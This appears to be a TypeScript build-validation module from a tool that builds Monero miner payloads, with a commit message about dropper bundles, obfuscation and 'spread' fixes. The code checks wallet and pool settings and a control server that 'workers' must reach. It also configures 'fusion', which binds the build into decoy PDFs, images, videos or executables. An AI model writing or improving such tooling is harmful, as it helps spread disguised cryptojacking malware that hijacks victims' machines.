WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
145 lines
6.0 KiB
TypeScript
145 lines
6.0 KiB
TypeScript
import type { BuildRequest } from '../types';
|
||
import { runForgeCompatibilityChecks } from './forgeCompatibility';
|
||
|
||
export type PreflightLevel = 'ok' | 'warn' | 'error';
|
||
|
||
export interface PreflightCheck {
|
||
id: string;
|
||
level: PreflightLevel;
|
||
message: string;
|
||
}
|
||
|
||
function isReachableServerUrl(url: string): boolean {
|
||
try {
|
||
const u = new URL(url.trim());
|
||
const host = u.hostname.toLowerCase();
|
||
if (host === 'localhost' || host === '127.0.0.1' || host === '::1') return false;
|
||
if (host.startsWith('192.168.') || host.startsWith('10.')) return true;
|
||
if (host.startsWith('172.')) {
|
||
const parts = host.split('.');
|
||
if (parts.length >= 2) {
|
||
const second = parseInt(parts[1], 10);
|
||
if (second >= 16 && second <= 31) return true;
|
||
}
|
||
}
|
||
// Public hostnames (Cloudflare tunnel, domain, etc.)
|
||
if (host.includes('.') && (u.protocol === 'http:' || u.protocol === 'https:')) return true;
|
||
return false;
|
||
} catch {
|
||
return false;
|
||
}
|
||
}
|
||
|
||
export function looksLikeXMRWallet(addr: string): boolean {
|
||
const a = addr.trim();
|
||
// Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars)
|
||
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
|
||
}
|
||
|
||
export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
||
const checks: PreflightCheck[] = [];
|
||
|
||
if (!form.worker_name.trim()) {
|
||
checks.push({ id: 'worker', level: 'error', message: 'Worker name is required (unique per machine).' });
|
||
} else if (!/^[a-zA-Z0-9._-]+$/.test(form.worker_name.trim())) {
|
||
checks.push({ id: 'worker', level: 'warn', message: 'Worker name has unusual characters; stick to letters, numbers, dash, underscore.' });
|
||
} else {
|
||
checks.push({ id: 'worker', level: 'ok', message: `Worker "${form.worker_name.trim()}" is valid.` });
|
||
}
|
||
|
||
if (!form.server_url.trim()) {
|
||
checks.push({ id: 'server', level: 'error', message: 'Server URL is required — miners must reach your control server.' });
|
||
} else if (!isReachableServerUrl(form.server_url)) {
|
||
checks.push({
|
||
id: 'server',
|
||
level: 'error',
|
||
message: 'Server URL must be reachable by workers — use LAN IP or your public https:// hostname, not localhost.',
|
||
});
|
||
} else {
|
||
const u = new URL(form.server_url.trim());
|
||
const hint = u.protocol === 'https:' ? 'Public/tunnel URL OK.' : 'LAN URL OK.';
|
||
checks.push({ id: 'server', level: 'ok', message: `Control endpoint looks valid. ${hint}` });
|
||
}
|
||
|
||
if (!form.wallet.trim()) {
|
||
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
|
||
} else if (!looksLikeXMRWallet(form.wallet)) {
|
||
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90–106).' });
|
||
} else {
|
||
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
|
||
}
|
||
|
||
if (!form.pool_host.trim()) {
|
||
checks.push({ id: 'pool', level: 'error', message: 'Pool host is required.' });
|
||
} else {
|
||
checks.push({ id: 'pool', level: 'ok', message: `Pool ${form.pool_host}:${form.pool_port} configured.` });
|
||
}
|
||
|
||
if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
|
||
checks.push({ id: 'install', level: 'error', message: 'Custom install base path is required.' });
|
||
} else {
|
||
checks.push({ id: 'install', level: 'ok', message: 'Install path configuration OK.' });
|
||
}
|
||
|
||
const out = (form.output_dir || '').trim();
|
||
if (!out) {
|
||
checks.push({ id: 'output', level: 'warn', message: 'No output folder set — build will only be stored under data/builds (still downloadable).' });
|
||
} else if (out.includes('..') || out.includes(':') || out.startsWith('\\') || out.startsWith('/')) {
|
||
checks.push({ id: 'output', level: 'error', message: 'Output folder must be a relative path under server data_dir (example: exports).' });
|
||
} else {
|
||
checks.push({ id: 'output', level: 'ok', message: `Output folder: data/${out}` });
|
||
}
|
||
|
||
if (form.fusion_enabled) {
|
||
if (!fusionPrepSelected) {
|
||
checks.push({ id: 'fusion', level: 'error', message: 'Fusion is on — choose a file to fuse (PDF, PNG, video, doc, or .exe).' });
|
||
} else {
|
||
checks.push({ id: 'fusion', level: 'ok', message: `Fusion ready → universal ZIP with runners for ${form.fusion_output_name || 'each OS'}.` });
|
||
}
|
||
if (fusionPrepSelected && form.fusion_media_mode === 'embedded') {
|
||
checks.push({
|
||
id: 'fusion_embedded',
|
||
level: 'warn',
|
||
message: 'Embedded mode bakes the file into one .exe — use ZIP bundle (paired) for large images/videos or if the build fails.',
|
||
});
|
||
}
|
||
}
|
||
|
||
if (form.thread_mode === 'fixed' && form.threads < 1) {
|
||
checks.push({ id: 'threads', level: 'error', message: 'Fixed thread count must be at least 1.' });
|
||
}
|
||
|
||
if (form.ai_enabled) {
|
||
const endpoint = (form.ai_ollama_endpoint || '').trim();
|
||
const model = (form.ai_model || '').trim();
|
||
if (!endpoint) {
|
||
checks.push({ id: 'ai', level: 'error', message: 'AI Autonomy is on — set the Ollama endpoint URL.' });
|
||
} else {
|
||
try {
|
||
const u = new URL(endpoint);
|
||
if (!u.protocol.startsWith('http')) {
|
||
checks.push({ id: 'ai', level: 'warn', message: 'Ollama endpoint should use http:// or https://.' });
|
||
} else {
|
||
checks.push({ id: 'ai', level: 'ok', message: `Ollama endpoint ${endpoint} configured.` });
|
||
}
|
||
} catch {
|
||
checks.push({ id: 'ai', level: 'error', message: 'Ollama endpoint URL is not valid.' });
|
||
}
|
||
}
|
||
if (!model) {
|
||
checks.push({ id: 'ai', level: 'warn', message: 'AI model name is empty — will default to llama3.2 on the server.' });
|
||
} else {
|
||
checks.push({ id: 'ai', level: 'ok', message: `AI model: ${model}` });
|
||
}
|
||
}
|
||
|
||
// Incompatibility + coupling rules
|
||
checks.push(...runForgeCompatibilityChecks(form, fusionPrepSelected));
|
||
|
||
return checks;
|
||
}
|
||
|
||
export function preflightHasErrors(checks: PreflightCheck[]): boolean {
|
||
return checks.some((c) => c.level === 'error');
|
||
}
|